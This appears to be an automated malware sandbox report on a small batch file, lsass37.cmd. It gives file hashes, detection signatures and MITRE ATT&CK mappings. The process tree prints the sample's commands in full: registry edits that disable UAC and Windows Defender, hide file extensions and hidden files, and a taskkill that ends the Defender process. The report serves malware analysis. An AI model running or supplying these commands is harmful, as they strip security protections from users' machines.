Analysis
- max time kernel
149s - max time network
134s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 21:58
Static task
static1
Behavioral task
behavioral1
Sample
lsass37.cmd
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
lsass37.cmd
Resource
win11-20260513-en
6 signatures
150 seconds
General
- Target lsass37.cmd
- Size 475B
- Sample260529-1vmdfsfw21
- SHA256 e491b75f1556cd9be142de1a8e34e7133105d1eecd11902db3ab91c0f386a1e8
- MD5 217f8e7b5b0034553a9aa688a5912c38
- SHA1 32a003f125e719b9ebb97008939b72ceb5340768
- SHA512 fdcb82fe0c3c105d053d7c0d744e186fe1f4be59d9a60a0425f1ed10ef37d8bfaedb60818597d543047b3a92ea08fa83753619788ca6ef4945c7cd49c0f4f2b4
- TLSH T1CDF02760B8159266DAA2B220A48F0C22FBFFE7C3A810ABD1798620529037145C0BD6D7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" reg.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Kills process with taskkill 1 IoCs
pid Process 3576 taskkill.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3576 taskkill.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2528 wrote to memory of 2440 2528 cmd.exe 81 PID 2528 wrote to memory of 3768 2528 cmd.exe 82 PID 2528 wrote to memory of 760 2528 cmd.exe 83 PID 2528 wrote to memory of 4604 2528 cmd.exe 84 PID 2528 wrote to memory of 3576 2528 cmd.exe 85
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lsass37.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\system32\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:2440
-
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:3768
-
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f2⤵
- Modifies visibility of file extensions in Explorer
PID:760
-
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d 1 /f2⤵PID:4604
-
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C:\Windows\system32\taskkill.exetaskkill /f /im msmpeng.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3576
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1